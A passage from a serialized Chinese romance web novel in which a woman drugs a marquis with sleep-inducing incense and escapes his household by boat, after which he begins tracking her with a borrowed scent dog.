“宁姑娘说您近日繁忙,特意为您制作了养心香,缓解疲劳,清心安神。”廖先生主动提宁泠回答。 后宅里的女人全靠着男人的宠爱生存。 裴铉眼眸微暗,他以为她昨晚只是随口一提,没想到对他竟用心至此。 看来那两巴掌还真换来她死心塌地了。 当香粉制成后,宁泠亲手舀入香炉。 高温烘烤下,清雅悠长的香气飘散在室内。 裴铉只觉心旷神怡、疏肝解郁。 “侯爷,喜欢吗?”宁泠神色忐忑紧张。 “宁泠亲自制得香,我喜不胜收。”裴铉深邃的眼眸对视她。 “等会我便林韦德安排,让教坊的人进来。”他摸着她因为研磨香料,长了点薄茧的手,“你无事可让她们来争晖院演奏。” “好。” 晚上时分,宁泠便命人将她们请来,观看了她们的表演。 “你教什么名字?”宁泠指着与自己身形相似的人,“你跳得很好。” “夫人唤我玉兰就好。”她面色惊喜。 “赏你。”宁泠拔下一根缀珍珠步摇给她。 “谢谢夫人。” 晚上躺在床榻上读书时,宁泠冷静地思考自己的下一步计划。 约莫三天后,到了白日上课的时候,宁泠一副忧心忡忡、心不在焉的模样。 廖先生发现后主动问道:“宁姑娘在烦忧什么?” “上次点了养心香,侯爷的确放松了些。”宁泠又接着道:“但或许因为精神紧绷,日若所思,夜有所梦的缘故,半夜多梦易醒,睡得不安稳。” 廖先生道:“这好解决,咱们可以再调制些其他的香。” “真的吗?但是侯爷觉浅易惊醒,恐怕寻常的安神香并不管用。”宁泠好不容易浮现的欣喜淡了下去。 “养心香本就有助眠之效。”廖先生思考后回答,“但对侯爷无效,那我们可以尝试些效果更好,专门助眠的香。” “廖先生,我可以多学几种吗?听说有些香料装入香囊,置于枕边也有奇效。届时看那种更适合侯爷?” “你想得十分周全。”廖先生笑笑,“但养心香装入香囊同样有助眠之效,不用再学其他的。” 见宁泠有所顾虑,她接着说道:“有一味香名为清梦香,香味清甜,助眠有奇效,学会它,你就不用为此事发愁了。” 宁泠喜笑颜开,跟着廖先生制作了清梦香。 后来廖先生还特意叮嘱道:“清梦香只能用于香炉才有效,不可与养心香记混。而且清梦香药效霸道,使用时要注意计量。” 宁泠点点头,谨记于心。 旁晚时分,几乎每天宁泠晚上都会命伶人前来弹奏,有时只让玉兰前来,但时间不久,众人习以为常。 宁泠将香带回偏房,晚上珍珠侯在外隔间守夜睡觉。 她将清梦香倒入香炉,严格遵从廖先生说的计量。 不敢太多,担心明日珍珠起不来,起了疑心。 近来她制香后爱焚香,珍珠见怪不怪,只多问了嘴:“是姐姐新学的香吗?” 宁泠笑着答道:“是,可让人清心静气,不做噩梦的,专门为侯爷准备的,咱们先试试效果。” 珍珠咂嘴:“还有这种好东西啊。” 点好香后,宁泠回了榻上放下床纬遮挡视线,榻上放置着一个早就备好的香囊。 里面装满薄荷等各种清凉提神的香粉。 她将香囊放入鼻息下,口含薄荷草,清新提神。 大约一炷香的功夫后,听得珍珠呼吸悠长。 “珍珠,我口渴帮我倒杯水。”宁泠轻声呼唤。 珍珠没有反应,宁泠大概每隔两个时辰唤一次,珍珠都一无所知。 直至天蒙蒙亮的时候,她唤珍珠,她才醒来。 “昨夜睡得可好?”宁泠问珍珠。 珍珠神情自然:“睡得可香甜了。” 宁泠点点头,对清梦香的效果比较满意,但裴铉身高体壮,到时候必要多加些香粉,增加用量才成 ,最好再用搭配香囊,以保万无一失。 宁泠担心有其他原因影响,对珍珠焚香了几次。 发现若是熟睡后,去推搡拍她便会比较容易醒来。 眼下还缺最后一样物件,便可实施计划了。 那日摇骰子孙婆婆说凭借侯府卖身契,不用路引也可乘船去叙州了。 这件事情她特意放在最后,官服的路引不好弄,但侯府里的卖身契好寻。 她知道裴铉的书房里,就有争晖院下人们的卖身契。 届时她寻个时间偷拿一张便成,但是此事宜迟不宜早。 毕竟若裴铉发现书房少了东西,容易疑心到她身上。 宁泠算着日子,终于等到了裴铉要休沐的日子,那便是动手的最好时机。 第44章 第44章【VIP】 裴铉的书房不允许外人进入,即使是宁泠也需有裴铉的情况下跟随进入。 不过宁泠早就想好计谋。 下值的裴铉,看着宁泠乖巧地伺候他更换沐浴更衣。 他蠢蠢欲动,上次休沐只是堪堪解馋。 近来又忙碌得很,晚上又怕扰了她美梦,毕竟白日制香也不是一件易事。 宁泠给他淋水,小脸在水蒸气的氤氲下红扑扑的,煞是可爱。 水滴挂在裴铉的下巴处,他眸光色气十足地盯着宁泠。 宁泠耳尖发红,假装不知。 那道视线越来越危险,似是猎人紧盯猎物般。 宁泠小声提醒道:“待晚上好不好?” “白天做得还少?”裴铉修长湿润的手指将她柔软的头发缠绕手中。 他的手指绕着发烧打圈,眼眸暗示宁泠。 宁泠充耳不闻,见沐浴的差不多了,欲拿干净的帕子给他擦去水珠。 裴铉不肯,眼疾手快地攥住她皓白的手腕。 往怀里一拉,宁泠连忙用另外一只手撑住浴桶。 她半弯着腰,纤细的腰肢映入裴铉的眼帘。 黑亮柔顺的长发,扑于他脸庞前。 有几缕调皮的发丝轻触他的脸颊,引起阵阵痒意。 “侯爷,上次我不认识的字,你还没教我呢。”宁泠漂亮的眼眸看向他。 “嗯?”裴铉没想到她忽然说道这件事。 宁泠神情委屈小声道:“侯爷脑子里只有那档子事,提起裤子不认人。” 裴铉轻笑出声,被她这个比喻逗乐了。 上次书房后,他的确哄她后面教她认那些字。 可惜公务繁忙,天天踏月而归。 好不容易挤出点时间,那还有心思记挂这种事情。 “明日休沐教你,好不好?”裴铉说道。 “不要,今日须先教了我,才能做其他的。”宁泠小脸微皱,怀疑地看了眼裴铉,“谁知道你明天有事没?说不定又是哄我的。” 一派可爱姿态,裴铉捏捏她脸:“你还敢命令指派我了。” 宁泠莞尔一笑:“侯爷若肯依我,我将准备好的礼物送你,若是不肯我可要将礼物扔了。” “胡说,不准扔。”裴铉力气加重捏捏她的桃腮,“那待我沐浴后去取书。” “不用,我现在去取就行。”说完后,宁泠似觉不妥,看了眼裴铉有些泄气道:“侯爷不相信我,那我们等会一起去吧。” 她垂头丧气,刚才的灵动可爱没了,像是一朵被风吹雨打凋零的花儿。 “让你去,我还没说什么。”裴铉笑着调侃道:“欲加之罪何患无辞。” 宁泠秋水眼眸一亮,唇角上扬,整个人似乎因为他的信任而开心。 “那我去了?”她问道。 裴铉点点头,指着他衣物旁边搁置的令牌:“带上令牌。” 宁泠拿了令牌,带笑离开。 到了书房门口,有两个侍卫面色为难地看着宁泠。 按理说除了侯爷和林大人谁都不许无令擅入,但宁姑娘又颇受侯爷宠爱。 宁泠大方地拿出令牌:“两位大哥,我可以进去了吗?” 两人爽快地点点头。 进入书房后,宁泠回想着之前放卖身契的地方,轻手轻脚地寻找。 裴铉晚上处理公务时,宁泠无事就帮忙研磨找书籍。 之前找书籍时,无意间发现争晖院下人的卖身契都放在这。 其他丫鬟的应该由管家在保管,有需要时拿出来。毕竟下人们拿着卖身契也跑不了。 卖身契的位置不曾动,宁泠很快找到。 她一目十行地扫看一番,接着选了一张描写与她贴切些的卖身契。 拿着那晚读的书,宁泠面露难色,之前她计划将卖身契藏身上,可眼下她担心裴铉动手动脚搜出来,短暂纠结后。 她灵机一动将薄薄的卖身契叠好,放在书籍后半本两页之间,边缘粘好。 弄完这些,她就回去了。 她回去时,裴铉已经穿好里衣在等她。 “宁泠,还真是好学。”他将她名字柔情绕于口中。 宁泠拿着这卷书脸发红,不由地回想着那天的场景。 她整洁的指尖翻开书页,强定心神询问他。 他竟老老实实教她,一问一答。 书页翻得越来越快,宁泠心惊胆战。 “天暗了,我去点烛火。”宁泠欲合上书,“明日再学吧” 裴铉出手捏住那本书:“别,今日学完。不然又给我乱按罪名。” 宁泠暗自着急:“今日学太多了,我也不能都记住。” “记不住,只能说明你不专心。”裴铉挑眉笑笑,“那就在书房重来一回,加深记忆。” 宁泠整个人扑上去,窝在他怀里:“不要。” 她的脸颊窝在他跳动的脉搏处,热气喷洒在他喉结四周。 “净是些欺负我的乱心思。”宁泠将他握住的书丢在一边,与他十指相扣。 裴铉眸色越暗,温柔缱绻道:“不是欺负,是疼爱你。” 她越来越不拒绝与他的接触,越来越粘人主动了。 过后香汗淋漓的宁泠趴在床上:“我饿了,要吃晚饭。” “好。”裴铉抱着她洗漱穿戴好。 两人用完饭后,宁泠说道:“伶人进府几日了,侯爷还没看过吧?” 裴铉对这些并不感兴趣,只关心宁泠说得礼物:“你给我准备的礼物呢?” 她给林韦德送过护腕,给小厮送过手套,给丫鬟送过头花,唯独他什么都没。 “看了歌舞给你。”宁泠一副故弄玄虚的调皮样。 “好。” “新来的玉兰不仅舞跳得好。”宁泠脸上带笑,“还会弹得一手好琵琶。” “那就命她来。” 玉兰很快赶来,往日这个时辰,宁泠也常唤她来。 裴铉搂着宁泠坐在上位处的罗汉床上,珠帘遮挡些视线。 春季的晚上还带着点凉意,玉兰外面套了间月青色斗篷。 里面是一件亮眼的石榴红衣裙,她坐在木凳上,手里抱着一把琵琶。 宁泠让她像往常一样,弹奏几曲。 几曲完毕后,玉兰抬起眼眸似是询问望向宁泠。 裴铉鹰隼般锐意的视线迎上她,不悦地皱眉。 宁泠并无察觉:“再弹些民间俗曲,这些都有点腻了。” “是。”玉兰恭敬点头。 却浑身害怕地轻颤,她感觉到侯爷不善的视线。 心神晃荡下,手拨错了弦。 十分突兀不合调的声音,吓得她抱住琵琶请罪:“是奴技艺不精。” “无事。”宁泠和善答道。 她不解地看了眼裴铉一眼,小声问道:“侯爷怎么了?” 裴铉冷冷盯着玉兰:“她长得与你眉眼有两三分相似。” “天下长得像人可多了。”宁泠并不在意,又忽然想起什么似,转过头不可置信道:“侯爷不会是腻了我吧?” 裴铉不知她脑子里想得什么,笑了。 宁泠冷哼一声,脸侧向一边不理他。 “宁泠是独一无二的。”裴铉轻声哄她,“我的礼物还不交出来吗?” 宁泠赌气道:“你同意戌时将她们送走,我就给你。不然你就是包藏私心。” 请伶人进府,本就是为了给她解闷逗乐的。 裴铉对外喊道:“紫叶,让教坊 的人戌时回去。” “是。”紫叶不疑有他,她们本就是戌时时分入府的。 宁泠又转怨为喜,邀功似说道:“今日我又跟着廖先生学了新香,给侯爷试试。” “这就是你说的礼物?”裴铉眼眸微眯,似乎不太满意。 “当然不是,礼物我放在偏房。”宁泠素白的手将香粉倒入香炉,“侯爷你先闻闻此香如何,我去偏房拿礼物。” 香炉的位置是她之前特意放好的,靠近裴铉。 毕竟若玉兰先昏睡过去,裴铉必定会察觉。 裴铉点点头。 宁泠离开后,将门紧闭而上。 出门前她有意看了下紫叶,没在。 应该是刚才得了命令,下去准备送走伶人了。 宁泠慢悠悠地走回偏房,在嘴里含上薄荷草。 拿起早为裴铉准备好的香囊,她的确为裴铉准备了一件礼物。 装满养心香的香囊,只焚清梦香,她担心不稳当。 接着她将身上的首饰全部摘下,亮眼的朱钗引人注意,独留一根银簪防身。 尤其将手上那对亮眼的玉镯取下。 只带走了她的文书,还有黄金,几吊铜钱。 宁泠慢腾腾地走回,让清梦香有时间散发。 她进屋后发现裴铉已经睡着了,玉兰还没。 她将香囊放于他脑袋边,接着又将香粉里倒满香粉。 而玉兰的眼皮子正上下打架,整个人微微摇晃。 宁泠将她琵琶接过,声音足以外面的人听见:“回去吧。” “是。”玉兰声音软绵绵的,人却困倦的。 宁泠将她半搂在怀里,慢慢拍着她后背,很轻柔地说:“睡吧,睡吧。” 玉兰再也支撑不住,沉睡过去,宁泠将她轻轻放置在地毯上。 见裴铉和玉兰都睡着了,宁泠从内室抱来两床被子为他们盖上。晚上寒冷,若是不盖被子,恐怕会被冻醒。 做好这些后,宁泠利索地取了卖身契,将玉兰的斗篷穿好。 斗篷有帽子遮风,宁泠拉起帽子,抱着琵琶出门。 夜色昏暗,外面的小丫鬟以为是玉兰回去,她们刚才都听见了。 帽子遮挡了一部分小脸,还有琵琶遮挡视线,无人察觉。 宁泠一路平安地到了后门,伶人们聚在一起准备出发。 带头的管事见她来了,数了数十二个人,见人到齐了,安排她们分批坐马车出府。 宁泠之前多虑了,还以为守卫会挨个检查。 四个姑娘一辆马车,宁泠躲在角落里。 大家都唧唧喳喳地说话,宁泠担心自己不说话惹人怀疑。 幸好马车里昏暗无光,众人只觉她寡言。 以为是那个话少的小伙伴。 马车直达教坊,趁众人四处分散回自己屋时,宁泠趁机离开。 之前裴铉带她来过这儿,她知道大概方向。 宁泠把着琵琶从门口离开,匆匆赶往小宅。 上次出门宁泠计算过时间,走过来约莫半个时辰。 路她全部记过一次,可她也不能保证都记正确。 可外面的客栈都不放心,万一裴铉半夜醒了,抓她岂不是易如反掌。 街头留宿她一个女子不敢去赌。 还是要回到小宅才安心。 刚开始的路线方向宁泠还记得很清楚,可是随着路口越来越多。 宁泠开始不确定了。 她的小宅靠近烟花之地,何处挂着灯笼亮,她就去那处。 随着周边路景越来越熟悉,宁泠长舒了一口气。 可没多久,她眉头紧蹙,神情紧绷。 深夜人少,又靠近花楼,不少喝得醉醺醺的男人跌跌撞撞走在路边。 长时间制香熏香,宁泠身上自带好闻的香味。 她抱着琵琶,带着斗篷,瘦弱好看的背影。 引得众多酒鬼垂涎的视线。 宁泠只得加快步伐,她也想以男装示人。 可是她不方便携带包裹出府,教坊也无,这个时辰布庄都关门了。 宁泠脚步匆匆,许多酒鬼晕乎乎,步伐踉跄跟了几步,就累得扶墙停下。 可还是有几个脚步紧紧跟随。 眼看出了这条胡同,就能到达小宅了。 宁泠稍稍松了一口气。 她刚要出过胡同,见前面竟然围了些不三不四的人。 他们不友善的目光落在宁泠身上,宁泠瞬间警觉。 前有豺狼,后又虎豹。 她苦不堪言,硬着头皮抱着琵琶走了上去。 必须要穿过这条胡同。 而且千万不要让前后两拨人汇合。 一个贼眉鼠眼,穿着邋遢地男人对着宁泠吹口哨。 “小娘子,去哪啊?”有人不正经地调戏问道。 宁泠恍若未闻,快步向前。 三个男人嘿嘿笑着超宁泠围过来,宁泠紧紧抱着琵琶,心跳得飞快。 “小娘子陪我们玩玩。”为首的男人率先靠近宁泠。 她身上好闻得很,虽然天黑看不清容貌,可也定是个尤物。 在他快要靠近的一瞬间,宁泠身手敏捷地将手里琵琶使劲全身力气砸在他头上。 顿时听得琵琶木头断裂的声音。 然后男人痛苦的一声尖叫,他抱着脑袋叫唤。 众人都被这场景唬住,没想到看起来娇滴滴的姑娘,下手这么狠。 大家面面相觑,而宁泠砸了他脑袋后,将手里无用的琵琶朝旁边的人丢砸过去。 没有琵琶,她拔腿就跑。 大家伙忙着闪躲砸来的琵琶,纷纷闪躲。 宁泠跑得飞快,像只灵活的蝴蝶,在夜里很快没了踪迹。 直到跑进小宅,关上门她才大口大口喘气。 忽地一道黑影穿过,吓得宁泠浑身一僵。 难道她太久没回来了,住了别人进去? 她衣裙都被冷汗浸湿了,即是害怕的,还有跑累的。 她猫着身子,偷偷摸摸去推门。 听得喵一声,原来有小猫躲在这儿。 她放心了,将前后门关好。 接着点燃烛火,宅子内积灰严重。 宅内的被子,还有之前剩下的男款衣袍都还在。 但这身衣袍,如今倒没有多少意义了。 她拿的是一张女子的卖身契,看见这套衣袍。 她忍不住感慨,当时稳妥起见只敢偷一张卖身契,又不知宅子被人占没,她不敢赌。 若是明知宅子还在的情况下,男装示人的确能少很多麻烦。 此事至此,宁泠也不再多想,上塌睡觉,养足精神,准备明天大早去车马行。 她和孙婆婆摇骰子玩的时候,打探到了最早的开船时间。 这一夜宁泠睡得不太踏实,天刚灰蒙蒙亮,她就清醒了。 她出门买了两个包子充饥,随便问下长标车马行在哪? 其实附近也有其他车马行,但是宁女子出身在外还是小心些。 这车行还是上次她穿男装,别人推荐的,应该靠谱些。 去了车马行宁泠就直接说出城西码头,天色尚早,车马行的人还不多。 店主马上爽快地安排了马车和驭手。 到了码头,宁泠背着包裹下车,潮湿微凉的风扑面而来。 宁泠嗅到的却是自由的味道。 虽然天还没有完全亮,但是码头已经人头攒动,卸货的上货的,还有等着渡船的。 还有许多小摊贩卖各种早点,各种美味的香气飘散在空中,热腾腾的烟雾缓缓升起。 宁泠置身于中,这一刻她才是个鲜活的人。 宁泠寻找着去叙州的船只。 “去扬州的船快要开咯,要去的快来。”彼此起伏的吆喝声。 没花太多时间,宁泠就找到了去叙州的船只。 “两贯钱。”发现宁泠上船,船夫头也不抬说道:“还有路引拿出来。” 宁泠知道他没虚抬价格,爽快地给了。接着宁泠将卖身契拿去来,船夫大多不识字,她着重指了指侯府的印章。 “原来是侯府的贵客啊。”船夫态度 变得热情。 宁泠只笑着点点头,就进了船舱内坐着,静待开船。 按照她下得香粉量来算,只要不出意外,裴铉怎么也要到午时才醒。 那时她都到了叙州,到了叙州她可以想办法弄份路引,接着逃之夭夭。 约莫等了一盏茶的功夫, 船上的人满了,船夫吆喝道:“出发咯。” 看着离盛安城越来越远,宁泠的心情越发放松,嘴角上扬。 宁泠下船的时候,太阳已经出来,快到午时了。 侯府内,紫叶面色着急地站在屋外,她总感觉不对劲。 以往侯爷甚少睡懒觉,也甚少睡到午时还不起。 而且昨夜只在唤玉兰前叫了一次水,以往休沐无事不可能只叫一次水的。 但她又不敢擅自打扰了侯爷,说不定宁泠的安神香让侯爷多睡了会。 恰好此时林韦德走来,有事要汇报。 见紫叶神情焦急,问了一嘴。 紫叶如同见了救星,连忙将心中顾虑说了出来。 林韦德听了后一沉思,轻叩门扇:“侯爷,侯爷?” 连唤几声,里面都无人响应,林韦德眉头紧蹙,不再迟疑猛地推开门。 紫叶跟在他身后进入,室内的熏香味很重。 多闻了会,紫叶感觉困意上头,忍不住打了个哈欠。 林韦德快步上前,首先见到的是倒在地毯上,盖着被子的一位陌生女子。 他心里咯噔一声,那宁泠呢? 接着又步履匆匆掀开珠帘,见裴铉神情安稳,独自沉睡于罗汉床上。 他加大声量喊道:“侯爷,侯爷。” 裴铉还是没醒,林韦德眉头皱得更深,看着旁边的香炉寥寥升起香烟。 他察觉不对,又发觉身后紫叶似乎困倦得很。 林韦德立马熄了香炉,打开室内所有的门窗。 他对紫叶吩咐道:“你去偏房,府里找找宁泠。” 这话瞬间惊醒了紫叶,她急匆匆地跑了出去。 接着他回到裴铉身边,拍了拍他肩膀还是没反应。 他思考着要不要去请太医,忽地瞥见桌子上有剩下的茶水。 他毫不迟疑地拿起茶水,哗啦一下全部泼在裴铉脸上。 裴铉不悦地醒来,他本来睡得香甜。 却忽然感到冷水泼在他脸上,他面色凌厉地望着林韦德:“不想活了?” 敢往他脸上泼水。 林韦德立马请罪:“侯爷,已经午时了。宁姑娘好像又跑了。” 后半句说出,室内鸦雀无声。 裴铉的桃花眼阴鸷,四周散发着戾气。 他修长的手指揉揉太阳穴,回想着昨晚的点点滴滴。 “这香粉似乎有问题。”见自家主子已经清醒,林韦德说出自己的猜想。 紫叶命人先是将争晖院上下找了一遍,发现没人,而且偏房还发现宁泠的首饰等物。 她前来禀报:“侯爷,争晖院没人,她随身带的首饰在偏房。” 裴铉起身,修长的身躯来到玉兰面前。 “弄醒。”他面色阴沉。 林韦德又泼了一茶水下去,玉兰悠悠转转地醒来。 十分迷茫看着众人。 “你为何在此?”紫叶厉声问道。 玉兰吓得哭哭啼啼:“奴不知,奴昨夜在此弹琵琶,不知怎么竟然睡着了。” 裴铉冷笑一声,宁泠真是学聪明了。 狸猫换太子都学会了,又联想到她打赏花木兰的戏,还真是一点就通。 然后还将计就计地制香。 “林韦德你去码头排查,主要排查穿男装身形较小的,张川重点排查客栈,酒楼等地。”裴铉嘴角挂着阴森的笑,又对紫叶说道:“把廖先生带过来。” 廖先生被带过来时,紫叶并未给她言明何事。 “这香是你教宁泠制得?”裴铉神情阴冷,“为什么教她做这个?” 廖先生以为是宁泠惹了裴铉生怒,为她美言道:“宁泠说之前制得养心香效果不好,说侯爷您多梦易醒,睡不安稳。为了侯爷她特意求我教她制助眠香,以求侯爷舒心。” 裴铉幽冷的视线转至罗汉床上的香囊,刺绣是仙鹤白云。 他指着香囊问:“香囊内也是助眠的香粉?” 廖先生拿去香囊,轻闻一下,点点头。 “很好。”裴铉嘴角上扬的弧度更大,却显得阴森可怕。 提起裤子不认人,她宁泠从头到尾对他就没有一丝真心。 全是算计和欺骗,他定要亲手将她逮回来。 让她跪在他面前痛哭忏悔。 第45章 第45章【VIP】 宁泠下了船的第一件事是去找个饭馆吃饭,最好再打探下消息。 需要解决的问题有住宿,还有路引。 叙州不是久待之地,还是要尽快转去其他地方。 这次逃跑宁泠精心筹谋许久,她最担心的是裴铉会不会为难玉兰和廖先生。 但玉兰和廖先生都是受她蒙骗,而且她们都不是侯府中人。 裴铉无权处置。 廖先生四处任教,应该认识许多达官贵人。 宁泠也不曾和她二人言谈其他。 宁泠猜测裴铉审问一番后就会放人。 宁泠一路上回想着,刚好看见路边有小饭馆在招揽生意。 她身上铜钱不多,而且酒楼招眼,这种地方鱼龙混杂些,刚好合适。 进入饭馆坐下后,宁泠点了一荤一素两个菜。 打算等会吃完饭,出恭时再换上男装离开。 “宁妹妹?”一道男声传来。 宁泠心脏忽地提到嗓子眼,接着看见来人穿着一身素白色儒生长跑。 脸色白净,五官端正,身量不算高。 “宁泠,连孟哥哥都不认识了吗?”孟亦知向她走近,“我们以前是邻居。” 宁泠当然还记得,只是没想到短短一年多的时间。 感觉他和印象中的孟哥哥大不相同。 “当然记得,孟大哥。”宁泠放松警惕,“孟大哥用过午饭没?” 孟亦知回答:“刚好用过了,不曾想我们如此有缘在此地碰上。” “孟大哥你怎么会在这?”宁泠的家乡离这相隔甚远。 孟亦知坐在她的对面回答:“读书须拜师远游,盛安城内文人墨客众多,我有意来拜访听学。” 以前他龟缩在小小的青山县县学里,年纪轻轻成了秀才,以为自己文曲星下凡,后来才知是井底之蛙。 “盛安城?”宁泠轻轻念出。 那怎么待在叙州? “盛安城物价颇高,每月宅子租金更是难以支付。”孟亦知苦笑主动解惑。 叙州距离盛安城走水路近,需要拜访时坐船便可,无需居住在盛安城。 他记忆里的宁泠是乖巧粘人的,小时候每每见了他都热情唤他。 如今却透着几分防备疏离。 “宁泠可是因为当年之事还在记恨我?”孟亦知问道。 当年宁泠要被她族亲卖时,他也曾阻止过。 “孟大哥自然有孟大哥的难处。”宁泠摇摇头,卖她的人是她的族亲,他一个外人如何插手。 孟亦知叹气说道:“当年我有意阻止,奈何家母以死相逼,这些年我一直耿耿于怀,愧疚难安。” 当初宁泠父母只她一个女儿,将他当半个儿子相待。 宁泠笑笑,不计前嫌问道:“孟夫人可还好?” 当年她娘有意与孟夫人定下亲事,可孟大哥那年中了秀才。 年纪轻轻,前途不可限量。 孟夫人自然不肯,宁泠能理解。 孟亦知回答:“家母在青山县,一切都好。不然我怎能远游,让她挂心。” 宁泠点点头。 “宁妹妹许久未回青山县了吧。”孟亦知接着说道:“我上次回家时,顺路去祭拜了伯父伯母。” 坟包周围杂草横生,没有香蜡纸钱燃烧留下的灰烬。 宁泠的眼圈瞬间红了,低下头没说话。 她当然想回去看看父母,与他们聊聊天。 可裴铉阴狠毒辣,现在估计早在那埋伏好了,守株待兔。 “宁妹妹,对不起。”孟亦知有点不知所措。 “无事,还是要多谢孟大哥。”宁泠拒绝他递来的手帕,拿出自己的手帕擦擦眼角。 孟亦知思路再三问道:“宁妹妹,你过得可好?” 其实宁泠长高了些,人也长开了。 容貌姿色更甚从前,听说被人牙子卖了做奴婢。 可他瞧着她气质状态,更像是大户人家娇养的姑娘。 宁泠看看周围:“一言难尽,孟大哥我们找个合适的地方再说。” 饭馆人多眼杂,她怕有心人听见。 孟亦知才一拍脑袋,反应过来。 这里嘈杂得很,不适合聊天。 等宁泠吃完饭后,他请宁泠去了家茶楼,要了个包厢方便谈话。 “早年我被卖入大户人家,安排去服侍府里的姑娘。”宁泠缓缓道来,“姑娘心好,听了我的遭遇,又遇上她出嫁,便让我赎了身。” 她有心隐瞒,不敢将她与裴铉的事情托盘而出。 孟亦知点点头:“那姑娘是个好心人。” 宁泠语调一转,悲伤道:“可她那庶弟却是个混账东西,以前便时常对我动手动脚,幸好姑娘护着我。如今没人压制他了,到处搜寻我的下落。” “岂有此理。”孟亦知义愤填膺,“咱们去官府告他!” “他狐朋狗友众多,人脉银钱皆有。”宁泠阻止他道:“万不可与他硬碰硬。” 孟亦知冷静下来,他来叙州几月了。 也知许多富豪大户与官服关系甚好,难以撼动。 “宁妹妹你放心。”孟亦知坚决果断道:“你不要担心其他的,我一定会护着你。当然我们母子孤儿寡母,人人欺负,还是伯父伯母护着我们。” “孟大哥能否请你帮帮忙?”宁泠面露乞求之色,“以你的名义帮我租下套小宅子,银钱我分文不少给你,可好?” 孟亦知道:“你一介弱女子在外居住我岂能放心,不如与我去同住?” 见宁泠面色发红,他才发觉不妥解释道:“是我唐突了,刚才我想着我的小厮回乡几日,正好空出一屋给你住,忘了男女有别。宁妹妹想要什么类型的宅子,我帮你去找。” 宁泠转念一想,与孟大哥同住的确比租宅子更好。 更安全,也不会泄露行踪。 “孟大哥为我着想,我感激不尽。”宁泠拍拍背着的包裹示意道:“我换上男装,与孟大哥同住一个院子刚好合适。” 孟亦知见她如此相信自己,脸上的尴尬之色稍减。 三天后,侯府上下笼罩着阴森不安的氛围。 林韦德和张川站在裴铉面前禀报:“没有发现宁姑娘的踪迹。” 裴铉面色阴冷坐在高位,手指轻敲黄梨木桌面,视线对着那樽青花海水图香炉。 “宁姑娘会不会已经离开盛安城了?”林韦德问道。 这么大一个活人,不可能在盛安城没有半点消息。 裴铉起身理理衣角,笑笑:“去牵马。” 她用香料迷晕他,爱制香,那他也用同样的办法寻她。 林韦德赶紧去马棚选了两匹上好的马。 跟着主子飞驰策马到了大理寺门前。 大理寺内众人脚不沾地地忙碌,一见有陌生人来都好奇看了眼。 “齐冀在哪?”裴铉直截了当询问。 有相熟之人认识裴铉,回答道:“侯爷,齐兄应该在卷宗室。” 裴铉带着林韦德走进去,卷宗室内堆满各种案卷。 “裴兄,你怎么来这?”抱着一堆案卷的齐冀打招呼。 “把你娇娇借我几天。”裴铉言简意赅。 齐冀不解地看他一眼:“你不是嫌弃他长得油腻吗?” 每次他都爱逗娇娇,说它是大肥狗。 害他事后还要用鸡腿哄它。 “有用。”裴铉明显不想多说。 齐冀放下案卷,将他办公的房门关好:“不行,不说清楚不给借。” 他可得保证娇娇的安全。 “寻人。”裴铉勉强吐出两个字。 齐冀面色迷茫,裴铉要找人,直接去官府啊。 娇娇是偶尔办案陪他用的。 他后知后觉地发现此刻裴铉的心情很不好,以前心里满肚子坏主意,可面色笑得那叫一个如沐春风。 现在神情阴鸷,冷冰冰的。 “出什么事了?”齐冀问道,又回想拍卖行时,“上次见面不还是美人在怀,得意洋洋吗?” 他不说都还好,一提这出,连林韦德面色都变难看了。 “她不会跑了吧?”齐冀语出惊人。 他在大理寺这段时间,可是经常碰见这种事。 小妾私通跑了,连带着家财一卷而空。 还真别说,神情就和裴铉现在一样。 “别废话,借不借?”裴铉的语气更不好了。 “借,但是娇娇只听我的,我要跟着一起去。”齐冀看着旁边林韦德的神情,觉得这是八九不离十。 “嗯。”裴铉冷冰冰走了。 齐冀无奈地嘟囔一声,这是求人的态度? 齐冀回府牵了娇娇,然后去了侯府。 裴铉拿出宁泠这几日穿过的衣物,和她佩戴过的首饰。 娇娇黑色的大鼻子动了动,裴铉带着它去了教坊。 娇娇到了教坊门口却不进入,接着它开始带路。 一会嗅嗅地面,一会闻闻墙角,带着几人穿过各条街道。 林韦德越走越心惊胆战,这条路线竟与上次侯爷休沐时,他带路去买口脂的方向大致相同。 他小心翼翼窥了一眼侯爷,面色铁青。 娇娇在宁泠遇见酒鬼的死胡同停驻了会,林韦德眼尖地捡起碎裂的琵琶碎片。 娇娇又继续前进,直到在宁泠居住过的小宅门前停留。 门栓从外上了锁,似乎里面没人。 林韦德毫不犹豫地拔出大刀一砍,众人顺利进入了里面。 床榻桌椅有明显的打扫痕迹,而一些角落包括灶房则积灰严重。 看来应该有人将这里当做短暂的落脚地。 林韦德迅速搜寻宅子,很快发现了后门。 裴铉看着后门对面熟悉的花楼,眼眸微眯。 宁泠从始至终都没和他说过实话,这套宅子是在她第一次出逃时就有了。 之前他还一直百思不得其解,她第一次逃跑的当天晚上在哪落脚? 看来是早早租了这套宅子,第二天发现不妥又去了花楼。 而将这套宅子瞒了下来。 “派人查。”裴铉对着林韦德命令道。 娇娇又带着他们找到了长标车行,嗅到宁泠曾经坐过的那辆普通马车。 看着面前凶神恶煞的林韦德,店主恐慌发抖地查着册子。 每辆车,每天去了何处都是登记在册的。 听见他们的描述,店主对宁泠身上的香味还有点影响。 裴铉从车行得到了宁泠去码头的准确时间。 林韦德再去码头排查时就方便得多。 他们都以为宁泠会以男装示人,以假路引或者没有路引冒然出行。 但一开始的方向就错了,难怪一直没有消息。 裴铉和齐冀回了侯府,静待林韦德的消息。 齐冀蹲在地上喂娇娇喝水:“我们娇娇真棒,真厉害。” 裴铉一声不吭坐在木椅上喝茶,眼眸幽深,不知在思考什么。 齐冀忍不住偷偷瞟了他两眼。 唉,长得这么俊,又家财万贯。 结果小姑娘还是不喜欢。 他回想着上次见到宁泠,似乎年纪较小。 难怪啊,老牛吃嫩草。 “有什么直说。”裴铉不耐烦他频频往来的视线。 齐冀:“强扭的瓜不甜,何必呢?你裴铉又不是找不到女人,何故去为难人家小姑娘呢?” 小姑娘筹划良多,决心离开。 “不用你操心。”裴铉冷哼一声。 将他哄得团团转,还扇了他两巴掌,倒是提起裙摆跑了,天下哪有这种好事? 林韦德回来时,齐冀已经带着娇娇离开。 侯爷一个人孤坐在大厅等他,丫鬟们都侯在门外,说是他不让进入。 林韦德推开门进去,里面一片漆黑,连烛火都没点。 “侯爷,属下去点烛火?”林韦德问道。 “先说事情。”裴铉回答。 “是。”林韦德将在码头打探的消息汇报:“宁姑娘一大早掐着时间乘坐了去叙州的船只,看样子似乎知道船次时间。而且她没用路引,用的是府里 